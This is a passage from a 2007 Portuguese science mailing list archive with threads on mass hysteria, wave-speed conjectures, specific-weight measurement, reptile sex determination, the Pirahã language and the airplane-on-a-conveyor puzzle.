> resposta, fugir por exemplo com o bando todo, e pode
> ser devorado mais
> facilmente.
>
> Muitos animais de bandos respondem imediatamente,
> quase diria
> histericamente, a qualquer perturbação do grupo. O
> balé de cardumes
> envolve a capacidade de responder quase
> imediatamente ao movimento do
> outros. Bandos de aves também.
>
> Não é tão diferente assim respondem em conjunto, mas
> com relação a
> nossas habilidades específicas, comportamentos e
> psicologia, já que é
> isso que nos caracteriza. Se peixes nadam em
> sincronia, se aves voam
> em sincronia, humanos podem reagir psicologicamente
> em sincronia.
>
> Rituais de guerra ou festividades em grupos tribais
> produziam (e ainda
> produzem em muitos lugares) esse efeito, que muitos
> chamam de transe
> psicológico. Se um vomitar, todos vomitam nesses
> processos.
>
> Assim, não é que a histeria "pague o apto", mas sim
> que podemos
> reconhecer um conjunto de sintomas desse
> comportamento.
>
> Um abraço.
>
> Homero
>
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Fw: variabilidade da velocidade de ondas eletromagn�ticas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 16:14

Olá pessoal,

esse consulente, leitor assíduo de De Broglie, já enviou-me duas mensagens. Alguém tem algum link para experimentos de obtenção da velocidade da onda eletromagnética na faixa de freqüência que ele indica?

no aguardo.......

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: barretoem
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 19 de abril de 2007 10:09
Assunto: variabilidade da velocidade de ondas eletromagnéticas


Caro Professor Luiz Ferraz Netto,

Liguei para o Senhor dias atrás informando-o de previsões teóricas que indicam que ondas eletromagnéticas são regidas por uma equação do tipo "comprimento de onda" x "freqüência" = velocidade variável (no caso a velocidade dos átomos de luz ou fótons, ou melhor, das ondas associadas a eles).

Informei-o, ainda, que, para freqüências abaixo de 10.000 Hz poder-se-ia constatar significativas diferenças de velocidades na propagação destas ondas.

Sendo assim, gostaria de saber se o Senhor quer estabelecer uma parceria para realizarmos experiências nas quais fosse possível emitir e captar ondas de freqüências abaixo da faixa de 10.000 Hz medindo suas velocidades no espaço vazio para verificar possíveis diferenças de velocidades na propagação destas ondas nesta faixa freqüência.

Relativamente a esta possibilidade ressalto que Louis De Broglie cojectura em 1924 em sua tese de doutorado o seguinte: (...) talvez se possa esperar que um dia, medindo a velocidade no vácuo de ondas de freqüência muito baixa, serão encontrados números sensivelmente inferiores a c. (DE BROGLIE, 1925A, P.79)

Evidetemente, como é de seu conhecimento, fica claro que se esta cojectura for correta, então o segundo postulado da Teoria da Relatividade de que a velocidade da luz é constante e independente do movimento da fonte está errado.

Entendo que um experimento como este encontrar-se-ia em grau de importância nivelados aos realizados por Hendrik Hertz e Michelson/Morley, no sentido de reorientar nossa visão em determinados aspectos da chamada física moderna.

Os termos do acordo são simples: caso sejam encontrados nas medidas efetuadas resultados discrepantes relativamente àqueles previstos pelas atuais teorias acrescentariamos os dados encontrados aos dados teóricos que possuo sendo-lhe creditados inteiramente o mérito relativamente à parte experimental. Fico com os mérito relativamente à parte teórica.

Caso concorde com os termos aqui definidos remeto-lhe os resultados esperados de acordo com as previsões teóricas para orientar seus trabalhos experimentais, ou seja, remeto-lhe uma tabela onde estarão previstos a velocidade, o comprimento de onda e a freqüência na faixa de 60 Hz a 22.000 Hz na qual é possível encontrar diferenças de velocidades maiores que o erro associado à melhor medida existente no momento (299.792,4586 km/s) que é de 30 cm.

Coordialmente,

Manoel Enéas Barreto

Ex-aluno da UnB.






















--------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: FABIO : PROFESSOR TIRE A MINHA DUVIDA SOBRE PESO ESPECIFICO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 16:16

Olá químicos e todos,

algumas sugestões ou link para a determinação desses pesos específicos?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Fabio Soares
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 18 de abril de 2007 22:42
Assunto: FABIO : PROFESSOR TIRE A MINHA DUVIDA SOBRE PESO ESPECIFICO

Sr Professor

Como calculo o peso especifico dos seguinte materiais:

1-cavaco
2-gesso agricola
3-fosfato de rocha
4-cama de ave
5-lodo esgoto
6-fibra de coco
7-bagaco de cana.

Obrigado.


--------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: variabilidade da velocidade de ondas eletromagnéticas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 16:24

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Alguém tem algum link para experimentos de obtenção da velocidade da
> onda eletromagnética na faixa de freqüência que ele indica?

Emissor de rádio AM?

[]s,

Roberto Takata

> -----Mensagem Original-----
> De: barretoem
> Para: leobarretos@...
> Enviada em: quinta-feira, 19 de abril de 2007 10:09
> Assunto: variabilidade da velocidade de ondas eletromagnéticas
>
>
> Caro Professor Luiz Ferraz Netto,
>
> Liguei para o Senhor dias atrás informando-o de previsões teóricas
que indicam que ondas eletromagnéticas são regidas por uma equação do
tipo "comprimento de onda" x "freqüência" = velocidade variável (no
caso a velocidade dos átomos de luz ou fótons, ou melhor, das ondas
associadas a eles).
>
> Informei-o, ainda, que, para freqüências abaixo de 10.000 Hz
poder-se-ia constatar significativas diferenças de velocidades na
propagação destas ondas.



SUBJECT: Re: Energia de ímãs
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 16:41

Olá Prof. Léo,

Entendi a sua explicação. Obrigado!

Agora fico pensando: esta idéia é tão simples de ser testada na
prática, e parece que o cidadão antes de escrever tanta coisa
realmente o fez, pois tem foto (pouco nítida) do possível protótipo.
O pdf completo tem 44 páginas e é escrito com boa didática. Seria
somente armadilha para conseguir dinheiro? (depois que o Lula foi
reeleito não duvido de mais nada).

Abraços

Tipoalgo




SUBJECT: P/ CHicao : Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 16:59

Olá Chicão

American Academy of Family Physicians (no rodapé, um monte de referências de pesquisa, se interessar)
http://www.aafp.org/afp/20001215/2649.html

New England Journal of Medicine
http://content.nejm.org/cgi/content/extract/342/22/1673

PubMed (este é interessante, sobre tarantismo e outras coisas estranhas)
http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=PubMed&list_uids=8084927&dopt=Abstract

American Journal of Epidemiology
http://aje.oxfordjournals.org/cgi/content/abstract/132/6/1120

PubMed
http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=PubMed&list_uids=2645391&dopt=Citation

Se ainda estiver interessado, posso procurar por mais links sobre o assunto.

Um abraço.

Homero


----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 19, 2007 4:03 PM
Subject: Re: [ciencialist] P/ CHicao : Histeria coletiva afeta 600 meninas no México: a conexão OVNI


Publicações sérias sobre isso que você afirma??

Segundo a notícia que eu li, eles investigaram tudo e
como não acharam nenhuma evidência LOGO era histeria
coletiva.
Daí minha indagação.

--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> Chicão: "Histeria coletiva sempre paga o pato???
> Quer dizer
> > quando não encontram nenhuma explicação jogam pra
> esse
> > tipo de argumento???Como se prova que um grupo
> teve
> > histeria coletiva???
> > Como se pode afirmar algo que não se pode
> provar???"
>
> Não é bem assim, Chicão. Processos de histeria
> coletiva são conhecidos
> e descritos nos comportamentos humanos, e podem ser
> observados em
> quase todo jogo de futebol com torcidas organizadas.
> Mecanismos de
> reforço, derivados de processos cognitivos como
> neurônios espelho e
> empatia psicológica podem estar na raiz de muitos
> comportamentos de
> grupo, e ainda que sejam precisos muitos estudos
> para compreender bem
> como ocorrem, eles ocorrem.
>
> Quase todo quebra-quebra envolve algum tipo de
> descontrole, e muitos
> participantes não sabem bem porque agiram desta ou
> daquela forma
> durante o processo. Muitos se espantam ou ficam
> horrorizados com seu
> próprio comportamento.
>
> Animais gregários tem forte tendência a imitação, um
> comportamento
> importante para a sobrevivência em grupo. Faça o que
> seu vizinho
> estiver fazendo, e suas chances de sobreviver
> aumentam. Demore na
> resposta, fugir por exemplo com o bando todo, e pode
> ser devorado mais
> facilmente.
>
> Muitos animais de bandos respondem imediatamente,
> quase diria
> histericamente, a qualquer perturbação do grupo. O
> balé de cardumes
> envolve a capacidade de responder quase
> imediatamente ao movimento do
> outros. Bandos de aves também.
>
> Não é tão diferente assim respondem em conjunto, mas
> com relação a
> nossas habilidades específicas, comportamentos e
> psicologia, já que é
> isso que nos caracteriza. Se peixes nadam em
> sincronia, se aves voam
> em sincronia, humanos podem reagir psicologicamente
> em sincronia.
>
> Rituais de guerra ou festividades em grupos tribais
> produziam (e ainda
> produzem em muitos lugares) esse efeito, que muitos
> chamam de transe
> psicológico. Se um vomitar, todos vomitam nesses
> processos.
>
> Assim, não é que a histeria "pague o apto", mas sim
> que podemos
> reconhecer um conjunto de sintomas desse
> comportamento.
>
> Um abraço.
>
> Homero
>
>
>

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Fw: FABIO : PROFESSOR TIRE A MINHA DUVIDA SOBRE PESO ESPECIFICO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 17:01

Pega-se uma amostra do material e afere-se sua massa com o auxílio de
uma balança. Mergulha-se essa amostra em água e mede-se o volume
deslocado com o auxílio de uma proveta graduada.

Se o peso específico for incluir o volume de ar, pode-se medir o
volume colocando-se a amostra diretamente na proveta.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Olá químicos e todos,
>
> algumas sugestões ou link para a determinação desses pesos específicos?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Fabio Soares
> Para: leobarretos@...
> Enviada em: quarta-feira, 18 de abril de 2007 22:42
> Assunto: FABIO : PROFESSOR TIRE A MINHA DUVIDA SOBRE PESO ESPECIFICO
>
> Sr Professor
>
> Como calculo o peso especifico dos seguinte materiais:
>
> 1-cavaco
> 2-gesso agricola
> 3-fosfato de rocha
> 4-cama de ave
> 5-lodo esgoto
> 6-fibra de coco
> 7-bagaco de cana.
>
> Obrigado.




SUBJECT: Calor vence genes e faz macho virar fêmea
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 22:54

G1 - CI�NCIA E SA�DE / Zoologia
19/04/2007 - 17h20 - Atualizado em 19/04/2007 - 18h58

Calor vence genes e faz macho virar f�mea
Embora sexo de lagarto seja determinado geneticamente, temperatura altera isso.
Achado pode ter implica��es para sobreviv�ncia de lagartos com aquecimento global.
Reinaldo Jos� Lopes Do G1, em S�o Paulo

Divulga��o
Lagarto-drag�o: machos viram f�meas no calor. (Foto: Divulga��o)
a.. � Corrida de tartarugas ser� rastreada na web
b.. � Patas de lagartos mostram rapidez da sele��o natural
c.. � Brasil ganha duas novas esp�cies de lagarto
Mudar de sexo n�o � nem um pouco complicado se voc� for um embri�o de lagarto-barbado (Pogona vitticeps), um r�ptil nativo da Austr�lia. Tal como n�s, os bichos j� s�o concebidos com um sexo geneticamente definido, mas uma mudan�a de temperatura pode levar seu organismo a ignorar a programa��o de DNA e virar outra coisa ao longo do desenvolvimento -- mais especificamente, supostos machos acabam nascendo f�meas.

Esse flexibilidade sexual bizarra est� sendo elucidada na edi��o desta semana da revista americana "Science", numa pesquisa feita por cientistas da Universidade de Canberra e da Universidade Nacional Australiana. Al�m de mostrar que a determina��o do sexo �, em muitas esp�cies, bem mais complicada do que sonha a nossa v� divis�o entre mulheres com dois cromossomos X e homens com cromossomos X e Y, o estudo tamb�m � um alerta.

"Uma preocupa��o importante � que o aquecimento global poderia causar desequil�brios pesados entre os sexos em v�rias esp�cies de r�ptil, levando a quedas bruscas nas popula��es e, potencialmente, a extin��es. � �bvio que essas esp�cies passaram por muitas flutua��es de temperatura ao longo de sua hist�ria, mas pode ser que o atual ritmo da mudan�a clim�tica seja r�pido demais para que elas consigam se adaptar", declarou ao G1 o estudante de doutorado Alex Quinn, do Instituto de Ecologia Aplicada da Universidade de Canberra.

Quinn � o autor principal do estudo na "Science", ao lado de colegas do Grupo de Gen�mica Comparativa da Universidade Nacional Australiana.


Esse aqui � outro
R�pteis que mudam de sexo com mais ou menos calor durante a incuba��o dos ovos n�o s�o exatamente uma novidade. V�rias esp�cies de tartaruga fazem isso. Por outro lado, outros possuem cromossomos sexuais definidos, como os nossos. A diferen�a � que, no sistema reptiliano, os machos � que tem dois cromossomos iguais -- os chamados ZZ -- enquanto as f�meas s�o ZW. Algo parecido acontece tamb�m com as aves.

Mas ningu�m nunca tinha flagrado um sistema duplo, no qual tanto a temperatura quanto a bagagem gen�tica interagissem. No estudo com o drag�o-barbado, os pesquisadores viram que, em temperaturas m�dias -- de 22 graus Celsius a 32 graus Celsius --, a propor��o de nascidos de cada sexo era constante, por volta de 50% para cada. No entanto, acima de 34 graus Celsius, havia um desequil�brio crescente, que se refletiu, em uma das ninhadas, no nascimento de 33 f�meas contra apenas dois machos.

Temos, portanto, um mist�rio. Ao que tudo indica, o cromossomo W est� a caminho de se tornar desnecess�rio no DNA da esp�cie. "Pode ser que ele ainda compartilhe muitos genes com seu parceiro Z, mas parte dele provavelmente est� se diferenciando, tornando-se DNA-lixo [sem fun��o aparente na c�lula]", afirma Quinn. Pode ser que os machos que viraram f�meas sejam est�reis -- eles ainda n�o chegaram � idade adulta --, mas estudos parecidos com peixes e salamandras indicam que a revers�o n�o elimina a fertilidade, segundo o pesquisador australiano.

O mais interessante disso tudo, diz ele, � que o achado sugere que a flutua��o entre os dois sistemas de definir o sexo -- pela temperatura ou pelo DNA -- pode ser muito comum ao longo da evolu��o das esp�cies, acontecendo com relativa facilidade, envolvendo poucos genes. Se, por um lado, trata-se de uma vis�o intrigante sobre como o sexo evolui entre os animais, pode significar tamb�m que uma quantidade muito maior de esp�cies de r�pteis est� sob risco de ficar sem parceiros com o aquecimento global.

< http://g1.globo.com/Noticias/Ciencia/0,,MUL24137-5603-1853,00.html >


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/04/2007 09:20

Olá Luiz!

Luiz >>> Continuo afirmando: O binômio de Newton é
mais belo é infinitamente mais produtivo que a Vênus
de Milo. Tal binômio é aprendido e apreciado desde o
ensino médio ... e a tal Vênus? Para que serve? Olhar
para o quadro e dizer "Que lindo! Que tendência ao
infinito! Que maestria de pinceladas? ??? Oh! Como é
belo! ... e, tchau!

--- E assim caminha a humanidade! Chorar também não
serve pra nada, mas só me resta chorar mesmo.



sinceramente
ferrari



- - - - - - - - - - - - - - -

EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

Para receber meus textos inéditos, envie um email para:
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Meu portal:
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SUBJECT: Re: [ciencialist] Pedagogia Ecologica
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/04/2007 09:51

Lucidez de Capra? Talvez, mas um sujeito que consegue fazer uma comaparação
entre mecânica quântica e budismo não tem um histórico muito bom...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Esteban Moreno" <estebanlmoreno@gmail.com>
Sent: Thursday, April 19, 2007 10:43 AM
Subject: [ciencialist] Pedagogia Ecologica


---------- Forwarded message ----------
From: Luiz Santa lsantac@ <lsantac@gmail.com>...

Para aqueles interessados (...), vale a pena a leitura do livro
"Alfabetização Ecológica - do Fritjof Capra e outros - A Educação das
crianças para um mundo sustentável". Estou lendo, e a cada tópico me encanto
mais com a lucidez e com a maneira de abordar os temas.

Veja mais em http://www.agirazul.com.br/fsm4/_fsm/0000003a.htm

abraços, Luiz


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Calor vence genes e faz macho virar fêmea
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/04/2007 12:46

Olá Jose Renato

Nunca é demais lembrar, cuidado com manchetes de divulgação de ciência
(e mesmo com o conteúdo de artigos para leigos), que costumam
"exagerar" na tentativa de criar títulos chamativos, e mesmo distorcer
completamente o artigo original.

Esta manchete é um claro exemplo:

"Calor vence genes e faz macho virar fêmea"

O calor, parte do processo que já existe nos répteis em sua formação,
não "venceu" os genes, mas ativou outros genes, e estes desativaram os
que normalmente definiriam o sexo.

A chamada interação gene/ambiente sempre usa, como o nome indica,
genes, em todo processo.

Se os genes que desativam outros genes, a partir do calor ambiente,
não estivessem presentes, isso não seria possível (mamíferos, por
exemplo, não mudam com o calor..:-).

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> G1 - CIÊNCIA E SAÚDE / Zoologia
> 19/04/2007 - 17h20 - Atualizado em 19/04/2007 - 18h58
>
> Calor vence genes e faz macho virar fêmea
> Embora sexo de lagarto seja determinado geneticamente, temperatura
altera isso.
> Achado pode ter implicações para sobrevivência de lagartos com
aquecimento global.
> Reinaldo José Lopes Do G1, em São Paulo
>
> Divulgação
> Lagarto-dragão: machos viram fêmeas no calor. (Foto: Divulgação)
> a.. » Corrida de tartarugas será rastreada na web
> b.. » Patas de lagartos mostram rapidez da seleção natural
> c.. » Brasil ganha duas novas espécies de lagarto
> Mudar de sexo não é nem um pouco complicado se você for um embrião
de lagarto-barbado (Pogona vitticeps), um réptil nativo da Austrália.
Tal como nós, os bichos já são concebidos com um sexo geneticamente
definido, mas uma mudança de temperatura pode levar seu organismo a
ignorar a programação de DNA e virar outra coisa ao longo do
desenvolvimento -- mais especificamente, supostos machos acabam
nascendo fêmeas.
>
> Esse flexibilidade sexual bizarra está sendo elucidada na edição
desta semana da revista americana "Science", numa pesquisa feita por
cientistas da Universidade de Canberra e da Universidade Nacional
Australiana. Além de mostrar que a determinação do sexo é, em muitas
espécies, bem mais complicada do que sonha a nossa vã divisão entre
mulheres com dois cromossomos X e homens com cromossomos X e Y, o
estudo também é um alerta.
>
> "Uma preocupação importante é que o aquecimento global poderia
causar desequilíbrios pesados entre os sexos em várias espécies de
réptil, levando a quedas bruscas nas populações e, potencialmente, a
extinções. É óbvio que essas espécies passaram por muitas flutuações
de temperatura ao longo de sua história, mas pode ser que o atual
ritmo da mudança climática seja rápido demais para que elas consigam
se adaptar", declarou ao G1 o estudante de doutorado Alex Quinn, do
Instituto de Ecologia Aplicada da Universidade de Canberra.
>
> Quinn é o autor principal do estudo na "Science", ao lado de colegas
do Grupo de Genômica Comparativa da Universidade Nacional Australiana.
>
>
> Esse aqui é outro
> Répteis que mudam de sexo com mais ou menos calor durante a
incubação dos ovos não são exatamente uma novidade. Várias espécies de
tartaruga fazem isso. Por outro lado, outros possuem cromossomos
sexuais definidos, como os nossos. A diferença é que, no sistema
reptiliano, os machos é que tem dois cromossomos iguais -- os chamados
ZZ -- enquanto as fêmeas são ZW. Algo parecido acontece também com as
aves.
>
> Mas ninguém nunca tinha flagrado um sistema duplo, no qual tanto a
temperatura quanto a bagagem genética interagissem. No estudo com o
dragão-barbado, os pesquisadores viram que, em temperaturas médias --
de 22 graus Celsius a 32 graus Celsius --, a proporção de nascidos de
cada sexo era constante, por volta de 50% para cada. No entanto, acima
de 34 graus Celsius, havia um desequilíbrio crescente, que se
refletiu, em uma das ninhadas, no nascimento de 33 fêmeas contra
apenas dois machos.
>
> Temos, portanto, um mistério. Ao que tudo indica, o cromossomo W
está a caminho de se tornar desnecessário no DNA da espécie. "Pode ser
que ele ainda compartilhe muitos genes com seu parceiro Z, mas parte
dele provavelmente está se diferenciando, tornando-se DNA-lixo [sem
função aparente na célula]", afirma Quinn. Pode ser que os machos que
viraram fêmeas sejam estéreis -- eles ainda não chegaram à idade
adulta --, mas estudos parecidos com peixes e salamandras indicam que
a reversão não elimina a fertilidade, segundo o pesquisador australiano.
>
> O mais interessante disso tudo, diz ele, é que o achado sugere que a
flutuação entre os dois sistemas de definir o sexo -- pela temperatura
ou pelo DNA -- pode ser muito comum ao longo da evolução das espécies,
acontecendo com relativa facilidade, envolvendo poucos genes. Se, por
um lado, trata-se de uma visão intrigante sobre como o sexo evolui
entre os animais, pode significar também que uma quantidade muito
maior de espécies de répteis está sob risco de ficar sem parceiros com
o aquecimento global.
>
> < http://g1.globo.com/Noticias/Ciencia/0,,MUL24137-5603-1853,00.html >
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: [RN] NEUROBIOLOGIA DE PLANTAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/04/2007 14:36

Brenner et al 2006 - Plant neurobiology: an integrated view of plant
signaling. Trends in Plant Science 11(8): 413-9.
http://dx.doi.org/10.1016/j.tplants.2006.06.009

Plant neurobiology is a newly focused field of plant biology research
that aims to understand how plants process the information they obtain
from their environment to develop, prosper and reproduce optimally.
The behavior plants exhibit is coordinated across the whole organism
by some form of integrated signaling, communication and response
system. This system includes long-distance electrical signals,
vesicle-mediated transport of auxin in specialized vascular tissues,
and production of chemicals known to be neuronal in animals. Here we
review how plant neurobiology is being directed toward discovering the
mechanisms of signaling in whole plants, as well as among plants and
their neighbors.
--------------------------------
(Confesso q é tentador brincar com isso para provocar os vegans
extremistas - pleonasmo? - q ficam apontando o dedo indicador para o
meu rosto enqto eu como um bife.)

Um comentário sobre o trabalho em:
Cabeças de Repolho
http://adm.globolog.globo.com/globolog/publicacao/permalink.do?postId=290414

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Pedagogia Ecologica
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/04/2007 18:34

----- Original Message -----
From: "Alvaro Augusto (L)"
Sent: Friday, April 20, 2007 9:51 AM
Subject: Re: [ciencialist] Pedagogia Ecologica

> Lucidez de Capra? Talvez, mas um sujeito que consegue fazer uma
> comaparação entre mecânica quântica e budismo não tem um histórico muito
> bom...

Concordo. Budismo é coisa séria.

;-)))))

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Pedagogia Ecologica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/04/2007 20:37

Classificação: A melhor do mês (seja ele qual for!)!
Parabéns Alberto!
[]'
Léo
++++++++++++++++++++++++++++

De: "Alberto Mesquita Filho"


----- Original Message -----
From: "Alvaro Augusto (L)"
Sent: Friday, April 20, 2007 9:51 AM
Subject: Re: [ciencialist] Pedagogia Ecologica

> Lucidez de Capra? Talvez, mas um sujeito que consegue fazer uma
> comaparação entre mecânica quântica e budismo não tem um histórico muito
> bom...

Concordo. Budismo é coisa séria.

;-)))))

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.
++++++++++++++++++++


SUBJECT: 0,5 OT - Um belo desafio para a ciência! Uma cultura sem nada de "universal"!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/04/2007 20:39

O mistério dos pirahãs

Eles são a única sociedade no mundo, segundo avaliação de antropólogos, que
não cultiva nenhum mito da criação para explicar sua origem.

Tribo da Amazônia que não conhece os números
desafia as teorias sobre a formação dos idiomas

A tribo dos pirahãs, formada por cerca de 350 indígenas que vivem às margens
do Rio Maici, no Amazonas, tornou-se um desafio para a ciência. Como muitas
tribos da região, eles são caçadores e coletores, mas têm características
únicas no que diz respeito à comunicação. Seu idioma desafia todas as
teorias sobre como a linguagem humana se desenvolveu nas diferentes
culturas. Segundo a tese hoje mais aceita sobre o tema, criada por
lingüistas como o americano Noam Chomsky, a formação dos idiomas se pauta
por uma espécie de gramática universal com regras comuns. O ser humano é
dotado de recursos inatos para usar essas regras. Isso permite às crianças
perceber os significados das palavras e das frases e aos poucos ampliar seu
vocabulário. Essa gramática universal faz com que todos os idiomas tenham
frases subordinadas, que estariam na base dos raciocínios complexos: "Depois
de comer, vou à sua casa". O idioma dos pirahãs é o único até hoje
identificado no mundo que não tem frases subordinadas, contrariando o
conceito de gramática universal.

Os pirahãs não têm palavras para descrever as cores. Não usam tempos verbais
que indiquem ações passadas. Não há entre eles a tradição oral de contar
histórias. Tudo é dito no presente. A língua escrita não existe. Os pirahãs
não desenham e desconhecem qualquer tipo de arte. Eles são a única sociedade
no mundo, segundo avaliação de antropólogos, que não cultiva nenhum mito da
criação para explicar sua origem. Para completar, os pirahãs não usam
números e não sabem contar - têm uma única palavra, "Hói", que significa um
ou pequeno. A ausência da abstração aritmética entre os pirahãs foi estudada
recentemente pelo lingüista americano Peter Gordon. Ele tentou pacientemente
ensinar os indígenas a contar de um a dez, explicando a eles o conceito de
números e sua utilidade no dia-a-dia. Não obteve nenhum sucesso. As
pesquisas de Gordon confirmaram a teoria do lingüista americano Benjamin
Whorf de que o idioma condiciona o raciocínio. Whorf, nos anos 30, afirmava
que o ser humano só é capaz de formular pensamentos a partir de elementos
que possuam correspondência nas palavras. Como os pirahãs não têm palavras
que os façam chegar ao conceito de números, é impossível que entendam seu
significado.

Nas últimas décadas, além de Gordon, meia dúzia de pesquisadores se
embrenhou na selva amazônica para estudar a língua e a cultura dos pirahãs.
O primeiro deles e o mais assíduo é o etnólogo inglês Daniel Everett, da
Universidade de Manchester, que morou com a tribo por sete anos desde a
década de 70. Foram seus estudos que chamaram a atenção do mundo acadêmico
para as particularidades da tribo e para os desafios que ela apresenta à
ciência. "A teoria da gramática universal é inadequada para explicar o
idioma pirahã", diz Everett. "Sua gramática vem da sua cultura, que é
absolutamente única", completa.

http://veja.abril.com.br/180407/p_090.shtml

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 01:28

Olá José Renato,

Sinto muito se o decepcionei, só estava tentando ajudar. Não sei qual
é a seu problema original (juro que pensei que era o que estávamos
resolvendo juntos) e nem como você considera ou não a ação do atrito
importante para ele (como já lhe disse, não entendi como você formulou
isso). Sinto muito por não poder revirar a lista em busca dessa
informação, mas creio que você me parece suficientemente convencido de
que SEU avião NÃO VOA por causa da esteira. Bom, O MEU VOA. :)

Então ficamos assim: foi um prazer.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> José Carlos, não me considero brilhante, nem "esperto", como
Ptolomeu. Mesmo
> assim, peço que obtenha o enunciado original do problema no arquivo da
> lista, de modo que vc constate que não fica bem insinuar que seu
colega está
> usando de desfaçatez. Entretanto, todos os meus dois neurônios estão
atentos
> à elas. Desse modo, não aceito seu convite para redigir aqui o
enunciado
> original do problema, pois isso daria impressão a todos de que eu estou
> apresentado um *novo* problema, com dados diferentes do original, o que
> justificaria a falta de percepção suficiente para os listeiros
acharem a
> resposta que apresentei.
>
> []s
>
> José Renato
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, April 18, 2007 2:07 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> :)))
>
> José Renato,
>
> Ptolomeu era um cara brilhante e inventou epiciclos e deferentes para
> tentar salvar o modelo geocêntrico de mundo (que andava capengando
> feito esse problema do avião), mas não deu certo. :)
>
> Já que você quer resolver um problema que parece que se modificou ao
> longo da nossa conversa, melhor seria então você propor o problema no
> original (eu lhe pedi isso no início da NOSSA conversa, caso tenha se
> esquecido) e com TODOS os detalhes que você acha pertinentes.
>
> De qualquer forma, já fica então estabelecido que desprezando-se o
> atrito nos rolamentos das rodas (e note que eu não disse ENTRE AS
> RODAS E A PISTA) o avião voa independentemente do movimento da
> esteira, ok?
>
> Aguardo seu "novo" problema, com todos os detalhes pertinentes. Não se
> acanhe, pode descrever o problema e a SUA solução com todos os
> detalhes, ok?
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > José Carlos, escreveu: [ Não, José Renato, o avião não será
> carregado MESMO!
> > E é justamente aí que está o problema básico de sua formação em
> Física como
> > mencionei no início. Você não conseguiu ainda compreender bem o
> papel do
> > atrito e da inércia. Não há nenhum atrito no rolamento das rodas #(por
> > suposição do problema)# e o avião, como tudo que tem massa, tem
